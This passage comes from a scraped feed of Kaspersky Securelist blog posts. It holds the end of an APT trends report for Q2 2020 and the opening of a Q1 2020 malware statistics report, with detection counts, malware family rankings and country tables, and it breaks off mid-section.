second half of 2019. The new variants use target-specific information (username, hostname, etc.) of the targeted host that they obtained beforehand, in order to ensure their final implant is deployed on the right victim. The group continues to deploy its backdoor implant, as well as Cobalt Strike Beacon, configuring them with updated infrastructure.\n\n## **Other interesting discoveries**\n\nThe Deceptikons APT is a long-running espionage group believed to have been providing mercenary services for almost a decade now. The group is not technically sophisticated and has not, to our knowledge, deployed zero-day exploits. The Deceptikons infrastructure and malware set is clever, rather than technically advanced. It is also highly persistent and in many ways reminds us of WildNeutron. Deceptikon's repeated targeting of commercial and non-governmental organizations is somewhat unusual for APT actors. In 2019, Deceptikons spear-phished a set of European law firms, deploying PowerShell scripts. As in previous campaigns, the actor used modified LNK files requiring user interaction to initially compromise systems and execute a PowerShell backdoor. In all likelihood, the group's motivations included obtaining specific financial information, details of negotiations, and perhaps even evidence of the law firms' clientele.\n\nMagicScroll (aka AcidBox) is the name we've given to a sophisticated malware framework, whose main purpose is to decrypt and load an arbitrary payload in kernel mode. The framework consists of several stages. The first stage is a Windows security provider that is loaded by the system on boot and executed in user mode. This decrypts and runs a second payload, which is physically stored in the registry. Although we weren't able to find a victim with this second stage, we were able to find a file that matches the expected format of the second stage. This second stage payload utilizes a well-known vulnerability in a VirtualBox driver (CVE-2008-3431) to load the third stage, which is designed to run in kernel mode. The kernel mode payload is decrypted from a resource from the second stage, using the key retrieved from the registry. Unfortunately, we couldn't find a decryption key to decrypt the third stage payload, so we don't know what the last part of this malware framework looks like. Although the code is quite sophisticated, we couldn't identify any similarity with other known frameworks.\n\nAarogya Setu is the name of a mandatory COVID-19 mobile tracking app developed by the National Informatics Centre, an organization that comes under the Ministry of Electronics and Information Technology in India. It allows its users to connect to essential health services in India. With cyber criminals and APT actors taking advantage of pandemic-tracking applications to distribute Trojanized mobile apps, we investigated and identified apps that mimic the appearance and behavior of the legitimate Aarogya Setu app while deploying Android RATs. We consider one of these to be a new version of a RAT that we previously reported being used by the Transparent Tribe threat actor.\n\n## **Final thoughts**\n\nThe threat landscape isn't always full of "groundbreaking" events. However, a review of the activities of APT threat actors indicates that there are always interesting developments. Our regular quarterly reviews are intended to highlight these key developments.\n\nHere are the main trends that we've seen in Q2 2020.\n\n * Geo-politics remains an important motive for some APT threat actors, as shown in the activities of MuddyWater, the compromise of the Middle East Eye website and the campaigns of CloudComputating and HoneyMyte groups.\n * As is clear from the activities of Lazarus and BlueNoroff, financial gain is another driver for some threat actors - including the use of ransomware attacks.\n * While Southeast Asia continues to be an active region for APT activities, this quarter we have also observed heavy activity by Chinese-speaking groups, including ShadowPad, HoneyMyte, CactusPete, CloudComputating and SixLittleMonkeys.\n * APT threat actors continue to exploit software vulnerabilities - examples this quarter include Hades and MagicScroll.\n * We have noted before that the use of mobile implants is no longer a novelty, and this quarter is no exception, as illustrated by the PhantomLance campaign.\n * It is clear that APT actors, like opportunistic cybercriminals, continue to exploit the COVID-19 pandemic as a theme to lure potential victims. However, we would note once again that this doesn't represent a shift in TTPs.\n\nAs always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.", "cvss3": {}, "published": "2020-07-29T10:00:09", "type": "securelist", "title": "APT trends report Q2 2020", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2008-3431", "CVE-2019-10149", "CVE-2020-0688"], "modified": "2020-07-29T10:00:09", "id": "SECURELIST:91CACDF02C22F17E70A0DC58D036F9DE", "href": "https://securelist.com/apt-trends-report-q2-2020/97937/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-05-20T11:49:25", "description": "\n\n_These statistics are based on detection verdicts for Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network,\n\n * Kaspersky solutions blocked 726,536,269 attacks launched from online resources in 203 countries across the globe.\n * A total of 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 249,748 unique users.\n * Ransomware attacks were defeated on the computers of 178,922 unique users.\n * Our File Anti-Virus detected 164,653,290 unique malicious and potentially unwanted objects.\n * Kaspersky products for mobile devices detected: \n * 1,152,662 malicious installation packages\n * 42,115 installation packages for mobile banking trojans\n * 4339 installation packages for mobile ransomware trojans\n\n## Mobile threats\n\n### Quarter events\n\nQ1 2020 will be remembered primarily for the coronavirus pandemic and cybercriminals' exploitation of the topic. In particular, the creators of a new modification of the Ginp banking trojan renamed their malware Coronavirus Finder and then began offering it for \u20ac0.75 disguised as an app supposedly capable of detecting nearby people infected with COVID-19. Thus, the cybercriminals tried not only to scam users by exploiting hot topics, but to gain access to their bank card details. And, because the trojan remains on the device after stealing this data, the cybercriminals could intercept text messages containing two-factor authorization codes and use the stolen data without the victim's knowledge.\n\nAnother interesting find this quarter was [Cookiethief](<https://securelist.com/cookiethief/96332/>), a trojan designed to steal cookies from mobile browsers and the Facebook app. In the event of a successful attack, the malware provided its handler with access to the victim's account, including the ability to perform various actions in their name, such as liking, reposting, etc. To prevent the service from spotting any abnormal activity in the hijacked profile, the trojan contains a proxy module through which the attackers issue commands.\n\nThe third piece of malware that caught our attention this reporting quarter was trojan-Dropper.AndroidOS.Shopper.a. It is designed to [help cybercriminals to leave fake reviews and drive up ratings on Google Play](<https://securelist.com/smartphone-shopaholic/95544/>). The attackers' goals here are obvious: to increase the changes of their apps getting published and recommended, and to lull the vigilance of potential victims. Note that to rate apps and write reviews, the trojan uses Accessibility Services to gain full control over the other app: in this case, the official Google Play client.\n\n### Mobile threat statistics\n\nIn Q1 2020, Kaspersky's mobile products and technologies detected 1,152,662 malicious installation packages, or 171,669 more than in the previous quarter.\n\n_Number of malicious installation packages detected, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13193928/sl_malware_report_01-kolichestvo-obnaruzhennyh-vredonosnyh-ustanovochnyh-paketov-q1-2019-q1-2019.png>)_\n\nStarting in Q2 2019, we have seen a steady rise in the number of mobile threats detected. Although it is too early to sound the alarm (2019 saw the lowest number of new threats in recent years), the trend is concerning.\n\n### Distribution of detected mobile apps by type\n\n_Distribution of newly detected mobile programs by type, Q1 2020 and Q4 2019 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194010/sl_malware_report_02-en-mobile-behavior.png>)_\n\nOf all the threats detected in Q1, half were unwanted adware apps (49.9%), their share having increased by 19 p.p. compared to the previous quarter. Most often, we detected members of the HiddenAd and Ewind families, with a combined slice of 40% of all detected adware threats, as well as the FakeAdBlocker family (12%).\n\nPotentially unwanted RiskTool apps (28.24%) took second place; the share of this type of threat remained almost unchanged. The Smsreg (49% of all detected threats of this class), Agent (17%) and Dnotua (11%) families were the biggest contributors. Note that in Q1, the number of detected members of the Smsreg family increased by more than 50 percent.\n\nIn third place were Trojan-Dropper-type threats (9.72%). Although their share decreased by 7.63 p.p. against the previous quarter, droppers remain one of the most common classes of mobile threats. Ingopack emerged as Q1's leading family with a massive 71% of all Trojan-Dropper threats, followed by Waponor (12%) and [Hqwar](<https://securelist.com/hqwar-the-higher-it-flies-the-harder-it-drops/93689/>) (8%) far behind.\n\nIt is worth noting that mobile droppers are most often used for installing financial malware, although some financial threats can spread without their help. The share of these self-sufficient threats is quite substantial: in particular, the share of Trojan-Banker in Q1 increased by 2.1 p.p. to 3.65%.\n\n### Top 20 mobile malware programs\n\n_Note that this malware rankings do not include potentially dangerous or unwanted programs such as RiskTool or adware._\n\n| **Verdict ** | **%*** \n---|---|--- \n1 | DangerousObject.Multi.Generic | 44.89 \n2 | Trojan.AndroidOS.Boogr.gsh | 9.09 \n3 | DangerousObject.AndroidOS.GenericML | 7.08 \n4 | Trojan-Downloader.AndroidOS.Necro.d | 4.52 \n5 | Trojan.AndroidOS.Hiddapp.ch | 2.73 \n6 | Trojan-Downloader.AndroidOS.Helper.a | 2.45 \n7 | Trojan.AndroidOS.Handda.san | 2.31 \n8 | Trojan-Dropper.AndroidOS.Necro.z | 2.30 \n9 | Trojan.AndroidOS.Necro.a | 2.19 \n10 | Trojan-Downloader.AndroidOS.Necro.b | 1.94 \n11 | Trojan-Dropper.AndroidOS.Hqwar.gen | 1.82 \n12 | Trojan-Dropper.AndroidOS.Helper.l | 1.50 \n13 | Exploit.AndroidOS.Lotoor.be | 1.46 \n14 | Trojan-Dropper.AndroidOS.Lezok.p | 1.46 \n15 | Trojan-Banker.AndroidOS.Rotexy.e | 1.43 \n16 | Trojan-Dropper.AndroidOS.Penguin.e | 1.42 \n17 | Trojan-SMS.AndroidOS.Prizmes.a | 1.39 \n18 | Trojan.AndroidOS.Dvmap.a | 1.24 \n19 | Trojan.AndroidOS.Agent.rt | 1.21 \n20 | Trojan.AndroidOS.Vdloader.a | 1.18 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products that were attacked._\n\nFirst place in our Top 20 as ever went to DangerousObject.Multi.Generic (44.89%), the verdict we use for malware detected [using cloud technology](<https://www.kaspersky.com/enterprise-security/wiki-section/products/big-data-the-astraea-technology>). They are triggered when the antivirus databases still lack the data for detecting a malicious program, but the Kaspersky Security Network cloud already contains information about the object. This is basically how the latest malware is detected.\n\nSecond and third places were claimed by Trojan.AndroidOS.Boogr.gsh (9.09%) and DangerousObject.AndroidOS.GenericML (7,08%) respectively. These verdicts are assigned to files that are recognized as malicious by our [machine-learning systems](<https://www.kaspersky.com/enterprise-security/wiki-section/products/machine-learning-in-cybersecurity>).\n\nIn fourth (Trojan-Downloader.AndroidOS.Necro.d, 4.52%) and tenth (Trojan-Downloader.AndroidOS.Necro.b, 1.94%) places are members of the Necro family, whose main task is to download and install modules from cybercriminal servers. Eighth-placed Trojan-Dropper.AndroidOS.Necro.z (2.30%) acts in a similar way, extracting from itself only those modules that it needs. As for Trojan.AndroidOS.Necro.a, which took ninth place (2.19%), cybercriminals assigned it a different task: the trojan follows advertising links and clicks banner ads in the victim's name.\n\nTrojan.AndroidOS.Hiddapp.ch (2.73%) claimed fifth spot. As soon as it runs, the malware hides its icon on the list of apps and continues to operate in the background. The trojan's payload can be other trojan programs or adware apps.\n\nSixth place went to Trojan-Downloader.AndroidOS.Helper.a (2.45%), which is what Trojan-Downloader.AndroidOS.Necro usually delivers. Helper.a is tasked with downloading arbitrary code from the cybercriminals' server and running it.\n\nThe verdict Trojan.AndroidOS.Handda.san (2.31%) in seventh place is a group of diverse trojans that hide their icons, gain Device Admin rights on the device, and use packers to evade detection.\n\nTrojan-Banker.AndroidOS.Rotexy.e (1.43%) and Trojan-Dropper.AndroidOS.Penguin.e (1.42%) warrant a special mention. The former is the only banking trojan in the top 20 this past quarter. The Rotexy family is all of six years old, and its members have the functionality to steal bank card details and intercept two-factor payment authorization messages. In turn, the first member of the Penguin dropper family was only detected last July and had gained significant popularity by Q1 2020.\n\n### Geography of mobile threats\n\n \n\n_Map of infection attempts by mobile malware, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194110/sl_malware_report_03-en-mobile-all-map.png>)_\n\n**Top 10 countries by share of users attacked by mobile threats**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Iran | 39.56 \n2 | Algeria | 21.44 \n3 | Bangladesh | 18.58 \n4 | Nigeria | 15.58 \n5 | Lebanon | 15.28 \n6 | Tunisia | 14.94 \n7 | Pakistan | 13.99 \n8 | Kuwait | 13.91 \n9 | Indonesia | 13.81 \n10 | Cuba | 13.62 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky mobile products in the country._\n\nIn Q1 2020, the leader by share of attacked users was Iran (39.56%). Inhabitants of this country most frequently encountered adware apps from the Notifyer family, as well as Telegram clone apps. In second place was Algeria (21.44%), where adware apps were also distributed, but this time it was the HiddenAd and FakeAdBlocker families. Third place was taken by Bangladesh (18.58%), where half of the top 10 mobile threats consisted of adware in the HiddenAd family.\n\n### Mobile banking trojans\n\nDuring the reporting period, we detected **42,115** installation packages of mobile banking trojans. This is the highest value in the past 18 months, and more than 2.5 times higher than in Q4 2019. The largest contributions to the statistics came from the Trojan-Banker.AndroidOS.Agent (42.79% of all installation packages detected), Trojan-Banker.AndroidOS.Wroba (16.61%), and Trojan-Banker.AndroidOS.Svpeng (13.66%) families.\n\n_Number of installation packages of mobile banking trojans detected by Kaspersky, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194342/sl_malware_report_04-kolichestvo-ustanovochnyh-paketov-mobilnyh-bankovskih-troyancev-q1-2019-q1-2019.png>)_\n\n**Top 10 mobile banking trojans**\n\n_ _ | **Verdict** | **%*** \n---|---|--- \n_1_ | Trojan-Banker.AndroidOS.Rotexy.e | 13.11 \n_2_ | Trojan-Banker.AndroidOS.Svpeng.q | 10.25 \n_3_ | Trojan-Banker.AndroidOS.Asacub.snt | 7.64 \n_4_ | Trojan-Banker.AndroidOS.Asacub.ce | 6.31 \n_5_ | Trojan-Banker.AndroidOS.Agent.eq | 5.70 \n_6_ | Trojan-Banker.AndroidOS.Anubis.san | 4.68 \n_7_ | Trojan-Banker.AndroidOS.Agent.ep | 3.65 \n_8_ | Trojan-Banker.AndroidOS.Asacub.a | 3.50 \n_9_ | Trojan-Banker.AndroidOS.Asacub.ar | 3.00 \n_10_ | Trojan-Banker.AndroidOS.Agent.cf | 2.70 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by banking threats._\n\nFirst and second places in our top 10 were claimed by trojans targeted at Russian-speaking mobile users: Trojan-Banker.AndroidOS.Rotexy.e (13.11%) and Trojan-Banker.AndroidOS.Svpeng.q (10.25%).\n\nThird, fourth, eighth, and ninth positions in the top 10 mobile banking threats went to members of the Asacub family. The cybercriminals behind this trojan stopped creating new samples, but its distribution channels were still active in Q1.\n\n_Geography of mobile banking threats, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194517/sl_malware_report_05-en-mobile-banker-map.png>)_\n\n**Top 10 countries by share of users attacked by mobile banking trojans**\n\n| Country* | %** \n---|---|--- \n1 | Japan | 0.57 \n2 | Spain | 0.48 \n3 | Italy | 0.26 \n4 | Bolivia | 0.18 \n5 | Russia | 0.17 \n6 | Turkey | 0.13 \n7 | Tajikistan | 0.13 \n8 | Brazil | 0.11 \n9 | Cuba | 0.11 \n10 | China | 0.10 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked by mobile banking trojans as a percentage of all users of Kaspersky mobile products in the country._\n\nIn Q1 2020, Japan (0.57%) had the largest share of users attacked by mobile bankers; the vast majority of cases involved Trojan-Banker.AndroidOS.Agent.eq.\n\nIn second place came Spain (0.48%), where in more than half of all cases, we detected malware from the Trojan-Banker.AndroidOS.Cebruser family, and another quarter of detections were members of the Trojan-Banker.AndroidOS.Ginp family.\n\nThird place belonged to Italy (0.26%), where, as in Spain, the Trojan-Banker.AndroidOS.Cebruser family was the most widespread with almost two-thirds of detections.\n\nIt is worth saying a bit more about the Cebruser family. Its creators were among the first to exploit the coronavirus topic to spread the malware.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13183112/sl_malware_report.png>)When it runs, the trojan immediately gets down to business: it requests access to Accessibility Services to obtain Device Admin permissions, and then tries to get hold of card details.\n\nThe malware is distributed under the [Malware-as-a-Service](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) model; its set of functions is standard for such threats, but with one interesting detail \u2014 the use of a step-counter for activation so as to bypass dynamic analysis tools ([sandbox](<https://encyclopedia.kaspersky.com/glossary/sandbox/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)). Cebruser targets the mobile apps of banks in various countries and popular non-financial apps; its main weapons are phishing windows and interception of two-factor authorization. In addition, the malware can block the screen using a ransomware tool and intercept keystrokes on the virtual keyboard.\n\n### Mobile ransomware trojans\n\nIn Q2 2020, we detected **4,339** installation packages of mobile trojan ransomware, 1,067 fewer than in the previous quarter.\n\n_Number of installation packages of mobile ransomware trojans detected by Kaspersky, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194615/sl_malware_report_06-kolichestvo-ustanovochnyh-paketov-mobilnyh-troyancev-vymogatelej-q1-2018-q1-2019.png>)_\n\n**Top 10 mobile ransomware trojans**\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Ransom.AndroidOS.Svpeng.aj | 17.08 \n2 | Trojan-Ransom.AndroidOS.Congur.e | 12.70 \n3 | Trojan-Ransom.AndroidOS.Small.as | 11.41 \n4 | Trojan-Ransom.AndroidOS.Rkor.k | 9.88 \n5 | Trojan-Ransom.AndroidOS.Small.as | 7.32 \n6 | Trojan-Ransom.AndroidOS.Small.o | 4.79 \n7 | Trojan-Ransom.AndroidOS.Svpeng.aj | 3.62 \n8 | Trojan-Ransom.AndroidOS.Svpeng.ah | 3.55 \n9 | Trojan-Ransom.AndroidOS.Congur.e | 3.32 \n10 | Trojan-Ransom.AndroidOS.Fusob.h | 3.17 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by ransomware trojans._\n\nOver the past few quarters, the number of ransomware trojans detected has been gradually decreasing; all the same, we continue to detect quite a few infection attempts by this class of threats. The main contributors to the statistics were the Svpeng, Congur, and Small ransomware families.\n\n_Geography of mobile ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194659/sl_malware_report_07-en-mobile-ransom-map.png>)_\n\nTop 10 countries by share of users attacked by mobile ransomware trojans:\n\n| **Country*** | **%**** \n---|---|--- \n1 | USA | 0.26 \n2 | Kazakhstan | 0.25 \n3 | Iran | 0.16 \n4 | China | 0.09 \n5 | Saudi Arabia | 0.08 \n6 | Italy | 0.03 \n7 | Mexico | 0.03 \n8 | Canada | 0.03 \n9 | Indonesia | 0.03 \n10 | Switzerland | 0.03 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked by mobile ransomware trojans as a percentage of all users of Kaspersky mobile products in the country._\n\nThe leaders by number of users attacked by mobile ransomware trojans are Syria (0.28%), the United States (0.26%) and Kazakhstan (0.25%)\n\n## Attacks on Apple macOS\n\nIn Q1 2020, we detected not only new versions of common threats, but one new backdoor family, whose first member was Backdoor.OSX.Capip.a. The malware's operating principle is simple: it calls the C&C for a shell script, which it then downloads and executes.\n\n### Top 20 threats to macOS\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Downloader.OSX.Shlayer.a | 19.27 \n2 | AdWare.OSX.Pirrit.j | 10.34 \n3 | AdWare.OSX.Cimpli.k | 6.69 \n4 | AdWare.OSX.Ketin.h | 6.27 \n5 | AdWare.OSX.Pirrit.aa | 5.75 \n6 | AdWare.OSX.Pirrit.o | 5.74 \n7 | AdWare.OSX.Pirrit.x | 5.18 \n8 | AdWare.OSX.Spc.a | 4.56 \n9 | AdWare.OSX.Cimpli.f | 4.25 \n10 | AdWare.OSX.Bnodlero.t | 4.08 \n11 | AdWare.OSX.Bnodlero.x | 3.74 \n12 | Hoax.OSX.SuperClean.gen | 3.71 \n13 | AdWare.OSX.Cimpli.h | 3.37 \n14 | AdWare.OSX.Pirrit.v | 3.30 \n15 | AdWare.OSX.Amc.c | 2.98 \n16 | AdWare.OSX.MacSearch.d | 2.85 \n17 | RiskTool.OSX.Spigot.a | 2.84 \n18 | AdWare.OSX.Pirrit.s | 2.80 \n19 | AdWare.OSX.Ketin.d | 2.76 \n20 | AdWare.OSX.Bnodlero.aq | 2.70 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked_\n\nThe top 20 threats for macOS did not undergo any major changes in Q1 2020. The adware trojan Shlayer.a (19.27%) still tops the leaderboard, followed by objects that Shlayer itself loads into the infected system, in particular, numerous adware apps from the Pirrit family.\n\nInterestingly, the unwanted program Hoax.OSX.SuperClean.gen landed in 12th place on the list. Like other Hoax-type programs, it is distributed under the guise of a system cleanup app, and immediately after installation, scares the user with problems purportedly found in the system, such as gigabytes of trash on the hard drive.\n\n### Threat geography\n\n| **Country*** | **%**** \n---|---|--- \n1 | Spain | 7.14 \n2 | France | 6.94 \n3 | Italy | 5.94 \n4 | Canada | 5.58 \n5 | USA | 5.49 \n6 | Russia | 5.10 \n7 | India | 4.88 \n8 | Mexico | 4.78 \n9 | Brazil | 4.65 \n10 | Belgium | 4.65 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky security solutions for macOS (under 5,000)_ \n_** Unique users who encountered macOS threats as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nThe leading countries, as in previous quarters, were Spain (7.14%), France (6.94%) and Italy (5.94%). The main contributors to the number of detections in these countries were the familiar Shlayer trojan and adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2020, the share of IP addresses from which attempts were made to attack Kaspersky telnet traps increased significantly. Their share amounted to 81.1% of all IP addresses from which attacks were carried out, while SSH traps accounted for slightly less than 19%. \n \nSSH | 18.9% \nTelnet | 81.1% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2020_\n\nIt was a similar situation with control sessions: attackers often controlled infected traps via telnet. \n \nSSH | 39.62% \nTelnet | 60.38% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2020_\n\n### Telnet-based attacks\n\n \n\n_Geography of device IP addresses where attacks at Kaspersky telnet traps originated, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194811/sl_malware_report_09-en-telnet-geo.png>)_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky telnet traps.**\n\nCountry* | **%** \n---|--- \nChina | 13.04 \nEgypt | 11.65 \nBrazil | 11.33 \nVietnam | 7.38 \nTaiwan | 6.18 \nRussia | 4.38 \nIran | 3.96 \nIndia | 3.14 \nTurkey | 3.00 \nUSA | 2.57 \n \n_ _ \nFor several quarters in a row, the leading country by number of attacking bots has been China: in Q1 2020 its share stood at 13.04%. As before, it is followed by Egypt (11.65%) and Brazil (11.33%).\n\n### SSH-based attacks\n\n \n\n_Geography of device IP addresses where attacks at Kaspersky SSH traps originated, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194853/sl_malware_report_10-en-ssh-geo.png>)_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps.**\n\nCountry* | % \n---|--- \nChina | 14.87 \nVietnam | 11.58 \nUSA | 7.03 \nEgypt | 6.82 \nBrazil | 5.79 \nRussia | 4.66 \nIndia | 4.16 \nGermany | 3.64 \nThailand | 3.44 \nFrance | 2.83 \n \nIn Q1 2020, China (14.87%), Vietnam (11.58%) and the US (7.03%) made up the top three countries by number of unique IPs from which attacks on SSH traps originated.\n\n### Threats loaded into honeypots\n\n**Verdict** | %* \n---|--- \nTrojan-Downloader.Linux.NyaDrop.b | 64.35 \nBackdoor.Linux.Mirai.b | 16.75 \nBackdoor.Linux.Mirai.ba | 6.47 \nBackdoor.Linux.Gafgyt.a | 4.36 \nBackdoor.Linux.Gafgyt.bj | 1.30 \nTrojan-Downloader.Shell.Agent.p | 0.68 \nBackdoor.Linux.Mirai.c | 0.64 \nBackdoor.Linux.Hajime.b | 0.46 \nBackdoor.Linux.Mirai.h | 0.40 \nBackdoor.Linux.Gafgyt.av | 0.35 \n \n_* Share of malware type in the total amount of malware downloaded to IoT devices following a successful attack._\n\nIn Q1 2020, attackers most often downloaded the minimalistic trojan loader NyaDrop (64.35%), whose executable file does not exceed 500 KB. Threats from the Mirai family traditionally dominated: its members claimed four places in our top 10. These malicious programs will continue to rule the world of IoT threats for a long time to come, at least until the appearance of a more advanced (and publicly available) DDoS bot.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q1 2020, Kaspersky solutions blocked attempts to launch one or several types of malware designed to steal money from bank accounts on the computers of 249,748 users.\n\n_Number of unique users attacked by financial malware, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194937/sl_malware_report_11-en-finance.png>)_\n\n**Attack geography**\n\nTo assess and compare the risk of being infected by banking trojans and ATM/POS malware in various countries, for each country we calculated the share of users of Kaspersky products that faced this threat during the reporting period out of all users of our products in that country.\n\n_Geography of banking malware attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195018/sl_malware_report_12-en-finance-map.png>)_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Uzbekistan | 10.5 \n2 | Tajikistan | 6.9 \n3 | Turkmenistan | 5.5 \n4 | Afghanistan | 5.1 \n5 | Yemen | 3.1 \n6 | Kazakhstan | 3.0 \n7 | Guatemala | 2.8 \n8 | Syria | 2.4 \n9 | Sudan | 2.1 \n10 | Kyrgyzstan | 2.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Emotet | Backdoor.Win32.Emotet | 21.3 | \n2 | Zbot | Trojan.Win32.Zbot | 20.8 | \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 17.2 | \n4 | RTM | Trojan-Banker.Win32.RTM | 12.3 | \n5 | Nimnul | Virus.Win32.Nimnul | 3.6 | \n6 | Trickster | Trojan.Win32.Trickster | 3.6 | \n7 | Neurevt | Trojan.Win32.Neurevt | 3.3 | \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 2.3 | \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.0 | \n10 | Nymaim | Trojan.Win32.Nymaim | 1.9 | \n \n_** Unique users attacked by this malware family as a __percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly highlights\n\nRansomware attacks on organizations, as well as on city and municipal networks, did not ease off. Given how lucrative they are for cybercriminals, there is no reason why this trend of several years should cease.\n\nMore and more ransomware is starting to supplement encryption with data theft. To date, this tactic has been adopted by distributors of ransomware families, including Maze, REvil/Sodinokibi, DoppelPaymer and JSWorm/Nemty/Nefilim. If the victim refuses to pay the ransom for decryption (because, say, the data was recovered from a backup copy), the attackers threaten to put the stolen confidential information in the public domain. Such threats are sometimes empty, but not always: the authors of several ransomware programs have set up websites that do indeed publish the data of victim organizations.\n\n### Number of new modifications\n\nIn Q1 2020, we detected five new ransomware families and 5,225 new modifications of these malware programs.\n\n_Number of new ransomware modifications detected, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195150/sl_malware_report_13-ransomware-novye-modifikacii.png>)_\n\n### Number of users attacked by ransomware trojans\n\nIn Q1 2020, Kaspersky products and technologies protected 178,922 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195235/sl_malware_report_14-en-ransomware-atakovannye-polzovateli.png>)_\n\n### Attack geography\n\n \n\n_Geography of attacks by ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201512/sl_malware_report_15-en-ransomware-map.png>)_\n\n**Top 10 countries attacked by ransomware trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 6.64 \n2 | Uzbekistan | 1.98 \n3 | Mozambique | 1.77 \n4 | Ethiopia | 1.67 \n5 | Nepal | 1.34 \n6 | Afghanistan | 1.31 \n7 | Egypt | 1.21 \n8 | Ghana | 0.83 \n9 | Azerbaijan | 0.81 \n10 | Serbia | 0.74 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users whose computers were attacked by ransomware trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.03 | \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 16.71 | \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 16.22 | \n4 | GandCrab | Trojan-Ransom.Win32.GandCrypt | 7.73 | \n5 | Stop | Trojan-Ransom.Win32.Stop | 6.62 | \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 4.28 | \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 4.15 | \n8 | PolyRansom/VirLock | Virus.Win32.PolyRansom,\n\nTrojan-Ransom.Win32.PolyRansom | 2.96 | \n9 | Crysis/Dharma | Trojan-Ransom.Win32.Crusis | 2.02 | \n10 | (generic verdict) | Trojan-Ransom.Win32.Generic | 1.56 | \n| | | | | \n \n_* Unique Kaspersky users __attacked by the specified family of ransomware trojans as a percentage of all users attacked by ransomware trojans._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2020, Kaspersky solutions detected 192,036 new miner modifications.\n\n_Number of new miner modifications, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201558/sl_malware_report_16-en-miner-kolichestvo-novyh-modifikacij.png>)_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 518,857 unique users of Kaspersky Lab products worldwide.\n\n_Number of unique users attacked by miners, Q1 2020 